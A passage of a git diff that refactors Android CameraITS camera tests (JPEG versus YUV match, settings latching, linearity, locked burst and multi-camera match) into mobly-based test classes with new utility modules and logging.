-        out_surface = {"width": size[0], "height": size[1], "format": "jpg"}
-        cap = its.device.do_capture_with_latency(
-                cam, req, sync_latency, out_surface)
-        img = its.image.decompress_jpeg_to_rgb_image(cap["data"])
-        its.image.write_image(img, "%s_fmt=jpg.jpg" % (NAME))
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb1 = its.image.compute_image_means(tile)
+class JpegTest(its_base_test.ItsBaseTest):
+  """Test that converted YUV images and device JPEG images look the same."""
 
-        rms_diff = math.sqrt(
-                sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        print "RMS difference:", rms_diff
-        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
-                                                    THRESHOLD_MAX_RMS_DIFF)
-        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+  def test_jpeg(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+      sync_latency = camera_properties_utils.sync_latency(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize common request parameters
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      # YUV
+      size = capture_request_utils.get_available_output_sizes('yuv', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'yuv'}
+      cap = its_session_utils.do_capture_with_latency(
+          cam, req, sync_latency, out_surface)
+      img = image_processing_utils.convert_capture_to_rgb_image(cap)
+      rgb_means_yuv = compute_img_means_and_save(img, 'yuv', log_path)
+
+      # JPEG
+      size = capture_request_utils.get_available_output_sizes('jpg', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'jpg'}
+      cap = its_session_utils.do_capture_with_latency(
+          cam, req, sync_latency, out_surface)
+      img = image_processing_utils.decompress_jpeg_to_rgb_image(cap['data'])
+      rgb_means_jpg = compute_img_means_and_save(img, 'jpg', log_path)
+
+      # Assert images are similar
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_jpg)
+      logging.debug('RMS difference: %.3f', rms_diff)
+      e_msg = 'RMS difference: %.3f, spec: %.2f' % (
+          rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_latching.py b/apps/CameraITS/tests/scene1_1/test_latching.py
index 362b7b8..158bb0f 100644
--- a/apps/CameraITS/tests/scene1_1/test_latching.py
+++ b/apps/CameraITS/tests/scene1_1/test_latching.py
@@ -11,85 +11,119 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies settings latch on the correct frame."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+EXP_GAIN_FACTOR = 2
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+REQ_PATTERN = ['base', 'base', 'iso', 'iso', 'base', 'base', 'exp',
+               'base', 'iso', 'base', 'exp', 'base', 'exp', 'exp']
+PATTERN_CHECK = [False if r == 'base' else True for r in REQ_PATTERN]
 
 
-def main():
-    """Test that settings latch on the right frame.
+class LatchingTest(its_base_test.ItsBaseTest):
+  """Test that settings latch on the right frame.
 
-    Takes a bunch of shots using back-to-back requests, varying the capture
-    request parameters between shots. Checks that the images that come back
-    have the expected properties.
-    """
+  Takes a sequence of 14 shots using back-to-back requests, varying the capture
+  request gain and exp parameters between shots. Check images that come back
+  have the properties.
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.full_or_better(props))
+  Pattern is described in EXP_GAIN_HIGH_PATTERN where False is NOM, True is High
+  """
 
-        _, fmt = its.objects.get_fastest_manual_capture_settings(props)
-        e, s = its.target.get_target_exposure_combos(cam)['midExposureTime']
-        e /= 2.0
+  def test_latching(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        r_means = []
-        g_means = []
-        b_means = []
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.full_or_better(props))
 
-        reqs = [
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s*2, e, 0.0, True, props),
-                its.objects.manual_capture_request(s*2, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e*2, 0.0, True, props),
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s*2, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e*2, 0.0, True, props),
-                its.objects.manual_capture_request(s, e, 0.0, True, props),
-                its.objects.manual_capture_request(s, e*2, 0.0, True, props),
-                its.objects.manual_capture_request(s, e*2, 0.0, True, props),
-                ]
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        caps = cam.do_capture(reqs, fmt)
-        for i, cap in enumerate(caps):
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, '%s_i=%02d.jpg' % (NAME, i))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            r_means.append(rgb_means[0])
-            g_means.append(rgb_means[1])
-            b_means.append(rgb_means[2])
+      # Create requests, do captures and extract means for each image
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
 
-        # Draw a plot.
-        idxs = range(len(r_means))
-        pylab.plot(idxs, r_means, '-ro')
-        pylab.plot(idxs, g_means, '-go')
-        pylab.plot(idxs, b_means, '-bo')
-        pylab.ylim([0, 1])
-        pylab.title(NAME)
-        pylab.xlabel('capture')
-        pylab.ylabel('RGB means')
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+      e /= EXP_GAIN_FACTOR
+      r_means = []
+      g_means = []
+      b_means = []
+      reqs = []
+      base_req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
+      iso_mult_req = capture_request_utils.manual_capture_request(
+          s * EXP_GAIN_FACTOR, e, 0.0, True, props)
+      exp_mult_req = capture_request_utils.manual_capture_request(
+          s, e * EXP_GAIN_FACTOR, 0.0, True, props)
+      for req_type in REQ_PATTERN:
+        if req_type == 'base':
+          reqs.append(base_req)
+        elif req_type == 'exp':
+          reqs.append(exp_mult_req)
+        elif req_type == 'iso':
+          reqs.append(iso_mult_req)
+        else:
+          assert 0, 'Incorrect capture request!'
 
-        g_avg = sum(g_means) / len(g_means)
-        g_ratios = [g / g_avg for g in g_means]
-        g_hilo = [g > 1.0 for g in g_ratios]
-        assert(g_hilo == [False, False, True, True, False, False, True,
-                          False, True, False, True, False, True, True])
+      caps = cam.do_capture(reqs, fmt)
+      for i, cap in enumerate(caps):
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_i=%02d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+      logging.debug('G means: %s', str(g_means))
+
+      # Plot results
+      idxs = range(len(r_means))
+      pylab.figure(NAME)
+      pylab.plot(idxs, r_means, '-ro')
+      pylab.plot(idxs, g_means, '-go')
+      pylab.plot(idxs, b_means, '-bo')
+      pylab.ylim([0, 1])
+      pylab.title(NAME)
+      pylab.xlabel('capture')
+      pylab.ylabel('RGB means')
+      matplotlib.pyplot.savefig('%s_plot_means.png' % os.path.join(
+          log_path, NAME))
+
+      # check G mean pattern for correctness
+      g_avg_for_caps = sum(g_means) / len(g_means)
+      g_high = [g / g_avg_for_caps > 1 for g in g_means]
+      assert g_high == PATTERN_CHECK, 'G means: %s, TEMPLATE: %s' % (
+          str(g_means), str(REQ_PATTERN))
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_linearity.py b/apps/CameraITS/tests/scene1_1/test_linearity.py
index f98f286..885311b 100644
--- a/apps/CameraITS/tests/scene1_1/test_linearity.py
+++ b/apps/CameraITS/tests/scene1_1/test_linearity.py
@@ -11,106 +11,124 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies linear behavior in exposure/gain space."""
 
+
+import logging
 import math
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
 import matplotlib
 from matplotlib import pylab
-import numpy
+from mobly import test_runner
+import numpy as np
 
-NAME = os.path.basename(__file__).split('.')[0]
-RESIDUAL_THRESHOLD = 0.0003  # approximately each sample is off by 2/255
-# The HAL3.2 spec requires that curves up to 64 control points in length
-# must be supported.
-L = 64
-LM1 = float(L-1)
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_STEPS = 6
+PATCH_H = 0.1  # center 10% patch params
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+RESIDUAL_THRESH = 0.0003  # sample error of ~2/255 in np.arange(0, 0.5, 0.1)
+VGA_W, VGA_H = 640, 480
+
+# HAL3.2 spec requires curves up to 64 control points in length be supported
+L = 63
+GAMMA_LUT = np.array(
+    sum([[i/L, math.pow(i/L, 1/2.2)] for i in range(L+1)], []))
+INV_GAMMA_LUT = np.array(
+    sum([[i/L, math.pow(i/L, 2.2)] for i in range(L+1)], []))
 
 
-def main():
-    """Test that device processing can be inverted to linear pixels.
+class LinearityTest(its_base_test.ItsBaseTest):
+  """Test that device processing can be inverted to linear pixels.
 
-    Captures a sequence of shots with the device pointed at a uniform
-    target. Attempts to invert all the ISP processing to get back to
-    linear R,G,B pixel data.
-    """
-    gamma_lut = numpy.array(
-            sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
-    inv_gamma_lut = numpy.array(
-            sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
+  Captures a sequence of shots with the device pointed at a uniform
+  target. Attempts to invert all the ISP processing to get back to
+  linear R,G,B pixel data.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
-        sync_latency = its.caps.sync_latency(props)
+  def test_linearity(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+      sync_latency = camera_properties_utils.sync_latency(props)
 
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        e, s = its.target.get_target_exposure_combos(cam)['midSensitivity']
-        s /= 2
-        sens_range = props['android.sensor.info.sensitivityRange']
-        sensitivities = [s*1.0/3.0, s*2.0/3.0, s, s*4.0/3.0, s*5.0/3.0]
-        sensitivities = [s for s in sensitivities
-                         if s > sens_range[0] and s < sens_range[1]]
+      # Determine sensitivities to test over
+      e_mid, s_mid = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['midSensitivity']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      sensitivities = [s_mid*x/NUM_STEPS for x in range(1, NUM_STEPS)]
+      sensitivities = [s for s in sensitivities
+                       if s > sens_range[0] and s < sens_range[1]]
 
-        req = its.objects.manual_capture_request(0, e)
-        req['android.blackLevel.lock'] = True
-        req['android.tonemap.mode'] = 0
-        req['android.tonemap.curve'] = {
-                'red': gamma_lut.tolist(),
-                'green': gamma_lut.tolist(),
-                'blue': gamma_lut.tolist()}
+      # Initialize capture request
+      req = capture_request_utils.manual_capture_request(0, e_mid)
+      req['android.blackLevel.lock'] = True
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {'red': GAMMA_LUT.tolist(),
+                                      'green': GAMMA_LUT.tolist(),
+                                      'blue': GAMMA_LUT.tolist()}
+      # Do captures and calculate center patch RGB means
+      r_means = []
+      g_means = []
+      b_means = []
+      fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+      for sens in sensitivities:
+        req['android.sensor.sensitivity'] = sens
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        img_name = '%s_sens=%.04d.jpg' % (
+            os.path.join(self.log_path, NAME), sens)
+        image_processing_utils.write_image(img, img_name)
+        img = image_processing_utils.apply_lut_to_image(
+            img, INV_GAMMA_LUT[1::2] * L)
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
 
-        r_means = []
-        g_means = []
-        b_means = []
+      # Plot means
+      pylab.figure(NAME)
+      pylab.plot(sensitivities, r_means, '-ro')
+      pylab.plot(sensitivities, g_means, '-go')
+      pylab.plot(sensitivities, b_means, '-bo')
+      pylab.title(NAME)
+      pylab.xlim([sens_range[0], sens_range[1]/2])
+      pylab.ylim([0, 1])
+      pylab.xlabel('sensitivity(ISO)')
+      pylab.ylabel('RGB avg [0, 1]')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(self.log_path, NAME))
 
-        for sens in sensitivities:
-            req['android.sensor.sensitivity'] = sens
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(
-                    img, '%s_sens=%04d.jpg' % (NAME, sens))
-            img = its.image.apply_lut_to_image(img, inv_gamma_lut[1::2] * LM1)
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            r_means.append(rgb_means[0])
-            g_means.append(rgb_means[1])
-            b_means.append(rgb_means[2])
-
-        pylab.title(NAME)
-        pylab.plot(sensitivities, r_means, '-ro')
-        pylab.plot(sensitivities, g_means, '-go')
-        pylab.plot(sensitivities, b_means, '-bo')
-        pylab.xlim([sens_range[0], sens_range[1]/2])
-        pylab.ylim([0, 1])
-        pylab.xlabel('sensitivity(ISO)')
-        pylab.ylabel('RGB avg [0, 1]')
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
-
-        # Check that each plot is linear with positive slope
-        for means in [r_means, g_means, b_means]:
-            line, residuals, _, _, _ = numpy.polyfit(range(len(sensitivities)),
-                                                     means, 1, full=True)
-            print 'Line: m=%f, b=%f, resid=%f'%(line[0], line[1], residuals[0])
-            e_msg = 'residual: %.5f, THRESH: %.4f' % (
-                    residuals[0], RESIDUAL_THRESHOLD)
-            assert residuals[0] < RESIDUAL_THRESHOLD, e_msg
-            e_msg = 'slope %.6f less than 0!' % line[0]
-            assert line[0] > 0, e_msg
+      # Assert plot curves are linear w/ + slope by examining polyfit residual
+      for means in [r_means, g_means, b_means]:
+        line, residuals, _, _, _ = np.polyfit(
+            range(len(sensitivities)), means, 1, full=True)
+        logging.debug('Line: m=%f, b=%f, resid=%f',
+                      line[0], line[1], residuals[0])
+        msg = 'residual: %.5f, THRESH: %.4f' % (residuals[0], RESIDUAL_THRESH)
+        assert residuals[0] < RESIDUAL_THRESH, msg
+        assert line[0] > 0, 'slope %.6f less than 0!' % line[0]
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_locked_burst.py b/apps/CameraITS/tests/scene1_1/test_locked_burst.py
index 76a8203..db72259 100644
--- a/apps/CameraITS/tests/scene1_1/test_locked_burst.py
+++ b/apps/CameraITS/tests/scene1_1/test_locked_burst.py
@@ -11,81 +11,107 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies YUV image consistency with AE and AWB locked."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
 
 BURST_LEN = 8
 COLORS = ['R', 'G', 'B']
 FPS_MAX_DIFF = 2.0
-NAME = os.path.basename(__file__).split('.')[0]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W
+PATCH_Y = 0.5 - PATCH_H
 SPREAD_THRESH_MANUAL_SENSOR = 0.01
 SPREAD_THRESH = 0.03
 VALUE_THRESH = 0.1
 
 
-def main():
-    """Test 3A lock + YUV burst (using auto settings).
+class LockedBurstTest(its_base_test.ItsBaseTest):
+  """Test 3A lock + YUV burst (using auto settings).
 
-    This is a test that is designed to pass even on limited devices that
-    don't have MANUAL_SENSOR or PER_FRAME_CONTROLS. The test checks
-    YUV image consistency while the frame rate check is in CTS.
-    """
+  This is a test designed to pass even on limited devices that
+  don't have MANUAL_SENSOR or PER_FRAME_CONTROL. The test checks
+  YUV image consistency while the frame rate check is in CTS.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.ae_lock(props) and
-                             its.caps.awb_lock(props))
-        mono_camera = its.caps.mono_camera(props)
+  def test_locked_burst(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      mono_camera = camera_properties_utils.mono_camera(props)
+      log_path = self.log_path
 
-        # Converge 3A prior to capture.
-        cam.do_3a(do_af=True, lock_ae=True, lock_awb=True,
-                  mono_camera=mono_camera)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ae_lock(props) and
+          camera_properties_utils.awb_lock(props))
 
-        fmt = its.objects.get_largest_yuv_format(props)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # After 3A has converged, lock AE+AWB for the duration of the test.
-        print 'Locking AE & AWB'
-        req = its.objects.fastest_auto_capture_request(props)
-        req['android.control.awbLock'] = True
-        req['android.control.aeLock'] = True
+      # Converge 3A prior to capture.
+      cam.do_3a(do_af=True, lock_ae=True, lock_awb=True,
+                mono_camera=mono_camera)
 
-        # Capture bursts of YUV shots.
-        # Get the mean values of a center patch for each.
-        r_means = []
-        g_means = []
-        b_means = []
-        caps = cam.do_capture([req]*BURST_LEN, fmt)
-        for i, cap in enumerate(caps):
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, '%s_frame%d.jpg'%(NAME, i))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            means = its.image.compute_image_means(tile)
-            r_means.append(means[0])
-            g_means.append(means[1])
-            b_means.append(means[2])
+      fmt = capture_request_utils.get_largest_yuv_format(props)
 
-        # Assert center patch brightness & similarity
-        for i, means in enumerate([r_means, g_means, b_means]):
-            plane = COLORS[i]
-            min_means = min(means)
-            spread = max(means) - min_means
-            print '%s patch mean spread %.5f. means = [' % (plane, spread),
-            for j in range(BURST_LEN):
-                print '%.5f' % means[j],
-            print ']'
-            e_msg = 'Image too dark!  %s: %.5f, THRESH: %.2f' % (
-                    plane, min_means, VALUE_THRESH)
-            assert min_means > VALUE_THRESH, e_msg
-            threshold = SPREAD_THRESH_MANUAL_SENSOR \
-                    if its.caps.manual_sensor(props) else SPREAD_THRESH
-            e_msg = '%s center patch spread: %.5f, THRESH: %.2f' % (
-                    plane, spread, threshold)
-            assert spread < threshold, e_msg
+      # After 3A has converged, lock AE+AWB for the duration of the test.
+      logging.debug('Locking AE & AWB')
+      req = capture_request_utils.fastest_auto_capture_request(props)
+      req['android.control.awbLock'] = True
+      req['android.control.aeLock'] = True
+
+      # Capture bursts of YUV shots.
+      # Get the mean values of a center patch for each.
+      r_means = []
+      g_means = []
+      b_means = []
+      caps = cam.do_capture([req]*BURST_LEN, fmt)
+      for i, cap in enumerate(caps):
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_frame%d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        means = image_processing_utils.compute_image_means(patch)
+        r_means.append(means[0])
+        g_means.append(means[1])
+        b_means.append(means[2])
+
+      # Assert center patch brightness & similarity
+      for i, means in enumerate([r_means, g_means, b_means]):
+        plane = COLORS[i]
+        min_means = min(means)
+        spread = max(means) - min_means
+        logging.debug('%s patch mean spread %.5f. means = %s',
+                      plane, spread, str(means))
+        for j in range(BURST_LEN):
+          e_msg = '%s frame %d too dark! mean: %.5f, THRESH: %.2f' % (
+              plane, j, min_means, VALUE_THRESH)
+          assert min_means > VALUE_THRESH, e_msg
+          threshold = SPREAD_THRESH
+          if camera_properties_utils.manual_sensor(props):
+            threshold = SPREAD_THRESH_MANUAL_SENSOR
+          e_msg = '%s center patch spread: %.5f, THRESH: %.2f' % (
+              plane, spread, threshold)
+          assert spread < threshold, e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_multi_camera_match.py b/apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
index 5aa8620..6c8d0e8 100644
--- a/apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
+++ b/apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
@@ -11,101 +11,134 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies sub-cameras have similar RGB values for gray patch."""
 
+
+import logging
 import os.path
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
+from mobly import test_runner
 import numpy as np
-NAME = os.path.basename(__file__).split('.')[0]
-PATCH_SIZE = 0.0625  # 1/16 x 1/16 in center of image
-PATCH_LOC = (1-PATCH_SIZE)/2
-THRESH_DIFF = 0.06
-THRESH_GAIN = 0.1
-THRESH_EXP = 0.05
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_PATCH_H = 0.0625  # 1/16 x 1/16 in center of image
+_PATCH_W = 0.0625
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_THRESH_DIFF = 0.06
+_THRESH_GAIN = 0.1
+_THRESH_EXP = 0.05
 
 
-def main():
-    """Test both cameras give similar RBG values for gray patch."""
+class MultiCameraMatchTest(its_base_test.ItsBaseTest):
+  """Test both cameras give similar RGB values for gray patch.
 
+  This test uses android.lens.info.availableFocalLengths to determine
+  subcameras. The test will take images of the gray chart for each cameras,
+  crop the center patch, and compare the Y (of YUV) means of the two images.
+  Y means must be within _THRESH_DIFF for the test to pass.
+
+  Cameras that use android.control.zoomRatioRange will have only 1 focal
+  length and will need separate test.
+  """
+
+  def test_multi_camera_match(self):
+    logging.debug('Starting %s', _NAME)
     yuv_sizes = {}
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.per_frame_control(props) and
-                             its.caps.logical_multi_camera(props))
-        ids = its.caps.logical_multi_camera_physical_ids(props)
-        for i in ids:
-            physical_props = cam.get_camera_properties_by_id(i)
-            its.caps.skip_unless(not its.caps.mono_camera(physical_props))
-            its.caps.skip_unless(its.caps.backward_compatible(physical_props))
-            yuv_sizes[i] = its.objects.get_available_output_sizes(
-                    'yuv', physical_props)
-            if i == ids[0]:  # get_available_output_sizes returns sorted list
-                yuv_match_sizes = yuv_sizes[i]
-            else:
-                list(set(yuv_sizes[i]).intersection(yuv_match_sizes))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # find matched size for captures
-        yuv_match_sizes.sort()
-        w = yuv_match_sizes[-1][0]
-        h = yuv_match_sizes[-1][1]
-        print 'Matched YUV size: (%d, %d)' % (w, h)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.logical_multi_camera(props))
 
-        # do 3a and create requests
-        avail_fls = sorted(props['android.lens.info.availableFocalLengths'],
-                           reverse=True)
-        cam.do_3a()
-        reqs = []
-        for i, fl in enumerate(avail_fls):
-            reqs.append(its.objects.auto_capture_request())
-            reqs[i]['android.lens.focalLength'] = fl
-            if i > 0:
-                # Calculate the active sensor region for a non-cropped image
-                zoom = avail_fls[0] / fl
-                a = props['android.sensor.info.activeArraySize']
-                ax, ay = a['left'], a['top']
-                aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-                # Calculate a center crop region.
-                assert zoom >= 1
-                cropw = aw / zoom
-                croph = ah / zoom
-                crop_region = {
-                        'left': aw / 2 - cropw / 2,
-                        'top': ah / 2 - croph / 2,
-                        'right': aw / 2 + cropw / 2,
-                        'bottom': ah / 2 + croph / 2
-                }
-                reqs[i]['android.scaler.cropRegion'] = crop_region
+      ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+      for i in ids:
+        physical_props = cam.get_camera_properties_by_id(i)
+        camera_properties_utils.skip_unless(
+            not camera_properties_utils.mono_camera(physical_props) and
+            camera_properties_utils.backward_compatible(physical_props))
+        yuv_sizes[i] = capture_request_utils.get_available_output_sizes(
+            'yuv', physical_props)
+        if i == ids[0]:  # get_available_output_sizes returns sorted list
+          yuv_match_sizes = yuv_sizes[i]
+        else:
+          yuv_match_sizes = list(
+              set(yuv_sizes[i]).intersection(yuv_match_sizes))
 
-        # capture YUVs
-        y_means = {}
-        msg = ''
-        fmt = [{'format': 'yuv', 'width': w, 'height': h}]
-        caps = cam.do_capture(reqs, fmt)
-        if not isinstance(caps, list):
-            caps = [caps]  # handle canonical case where caps is not list
+      # find matched size for captures
+      yuv_match_sizes.sort()
+      w = yuv_match_sizes[-1][0]
+      h = yuv_match_sizes[-1][1]
+      logging.debug('Matched YUV size: (%d, %d)', w, h)
 
-        for i, fl in enumerate(avail_fls):
-            img = its.image.convert_capture_to_rgb_image(caps[i], props=props)
-            its.image.write_image(img, '%s_yuv_fl=%s.jpg' % (NAME, fl))
-            y, _, _ = its.image.convert_capture_to_planes(caps[i], props=props)
-            y_mean = its.image.compute_image_means(
-                    its.image.get_image_patch(y, PATCH_LOC, PATCH_LOC,
-                                              PATCH_SIZE, PATCH_SIZE))[0]
-            print 'y[%s]: %.3f' % (fl, y_mean)
-            msg += 'y[%s]: %.3f, ' % (fl, y_mean)
-            y_means[fl] = y_mean
+      # do 3a and create requests
+      cam.do_3a()
+      reqs = []
+      avail_fls = sorted(props['android.lens.info.availableFocalLengths'],
+                         reverse=True)
+      # SKIP test if only 1 focal length
+      camera_properties_utils.skip_unless(len(avail_fls) > 1)
 
-        # compare YUVs
-        msg += 'TOL=%.5f' % THRESH_DIFF
-        assert np.isclose(max(y_means.values()), min(y_means.values()),
-                          rtol=THRESH_DIFF), msg
+      for i, fl in enumerate(avail_fls):
+        reqs.append(capture_request_utils.auto_capture_request())
